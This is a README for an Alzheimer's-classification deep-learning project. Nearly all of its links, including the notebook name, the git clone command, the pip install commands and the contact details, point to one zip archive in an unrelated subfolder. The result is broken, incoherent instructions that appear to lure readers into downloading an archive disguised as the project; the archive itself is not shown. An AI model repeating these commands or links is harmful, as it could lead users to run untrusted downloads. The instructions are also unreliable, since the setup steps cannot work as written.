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AlzNet Classifier

A deep learning model for Alzheimer's Disease classification using neuroimaging data.

Project Overview

This project focuses on developing a deep learning model for the detection and analysis of Alzheimer's disease using neuroimaging data. The project includes Jupyter notebooks for model development and training, along with preprocessed neuroimaging datasets.

Project Structure

  • https://github.com/Rahulkichad/AlzNet-Classifier/raw/refs/heads/main/piner/Alz_Net_Classifier_3.5.zip: Main Jupyter notebook containing the deep learning model implementation and training pipeline
  • train-*.parquet: Training dataset containing preprocessed neuroimaging features
  • test-*.parquet: Test dataset for model evaluation

Getting Started

Prerequisites

  • Python 3.8+
  • Jupyter Notebook
  • Required Python packages (install via pip install -r https://github.com/Rahulkichad/AlzNet-Classifier/raw/refs/heads/main/piner/Alz_Net_Classifier_3.5.zip)

Installation

  1. Clone the repository:

    git clone https://github.com/Rahulkichad/AlzNet-Classifier/raw/refs/heads/main/piner/Alz_Net_Classifier_3.5.zip
    cd AlzNet-Classifier
  2. Create and activate a virtual environment:

    python -m venv venv
    source venv/bin/activate  # On Windows use `venv\Scripts\activate`
  3. Install the required packages:

    pip install -r https://github.com/Rahulkichad/AlzNet-Classifier/raw/refs/heads/main/piner/Alz_Net_Classifier_3.5.zip

Usage

  1. Launch Jupyter Notebook:

    jupyter notebook
  2. Open https://github.com/Rahulkichad/AlzNet-Classifier/raw/refs/heads/main/piner/Alz_Net_Classifier_3.5.zip to explore the model implementation and run the training pipeline.

Dataset

The dataset consists of preprocessed neuroimaging data stored in parquet format:

  • Training data: train-*.parquet
  • Test data: test-*.parquet

Model Architecture

The project implements a deep learning model for Alzheimer's disease detection, including:

  • Data preprocessing and augmentation
  • Convolutional Neural Network (CNN) architecture
  • Training and evaluation pipelines
  • Performance metrics and visualization

Results

[Add your model's performance metrics and results here]

Contributing

Contributions are welcome! Please feel free to submit a Pull Request.

License

[Specify your license here, e.g., MIT License]

Contact

Rahul Choudhary - https://github.com/Rahulkichad/AlzNet-Classifier/raw/refs/heads/main/piner/Alz_Net_Classifier_3.5.zip Project Link: https://github.com/Rahulkichad/AlzNet-Classifier/raw/refs/heads/main/piner/Alz_Net_Classifier_3.5.zip

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